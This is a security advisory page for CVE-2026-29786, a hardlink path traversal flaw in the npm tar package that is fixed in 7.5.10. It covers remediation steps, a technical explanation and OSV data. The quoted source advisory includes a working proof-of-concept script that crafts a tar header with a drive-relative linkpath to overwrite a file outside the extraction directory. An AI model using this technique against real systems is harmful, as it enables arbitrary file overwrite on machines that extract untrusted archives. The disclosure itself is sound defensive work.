CVE-2026-29786: Tar Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-qffp-2rhf-9h96
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-29786 is a HIGH path traversal vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Tar libraries in the npm ecosystem. The issue involves tar has hardlink path traversal via drive-relative linkpath. Remediation is available by upgrading affected packages to version 7.5.10.

CVE-2026-29786 at a Glance

CVE Identifier CVE-2026-29786
GHSA Identifier GHSA-qffp-2rhf-9h96
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-29786

To remediate this vulnerability, upgrade all affected Tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 7.5.10
npm install tar@7.5.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-29786, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of Tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.5.10), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.9`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

CVE-2026-29786 Affected Tar Versions

1 component(s)
Fixed Versions:
7.5.10
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 7.5.10
7.5.10

References

Frequently Asked Questions

What is CVE-2026-29786?
CVE-2026-29786 is a security vulnerability in Tar involving tar has Hardlink Path Traversal via Drive-Relative Linkpath under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Tar versions are affected?
Affected versions include releases prior to 7.5.10 across affected packages: tar.
What version fixes CVE-2026-29786?
Upgrading to 7.5.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 7.5.10. Upgrade your dependency to 7.5.10 or later.
What CWE is associated with CVE-2026-29786?
CVE-2026-29786 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-29786?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qffp-2rhf-9h96",
  "modified" : "2026-03-09T15:49:59Z",
  "published" : "2026-03-05T00:52:32Z",
  "aliases" : [ "CVE-2026-29786" ],
  "summary" : "tar has Hardlink Path Traversal via Drive-Relative Linkpath",
  "details" : "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.5.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.5.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T00:52:32Z",
    "nvd_published_at" : "2026-03-07T16:15:55Z"
  }
}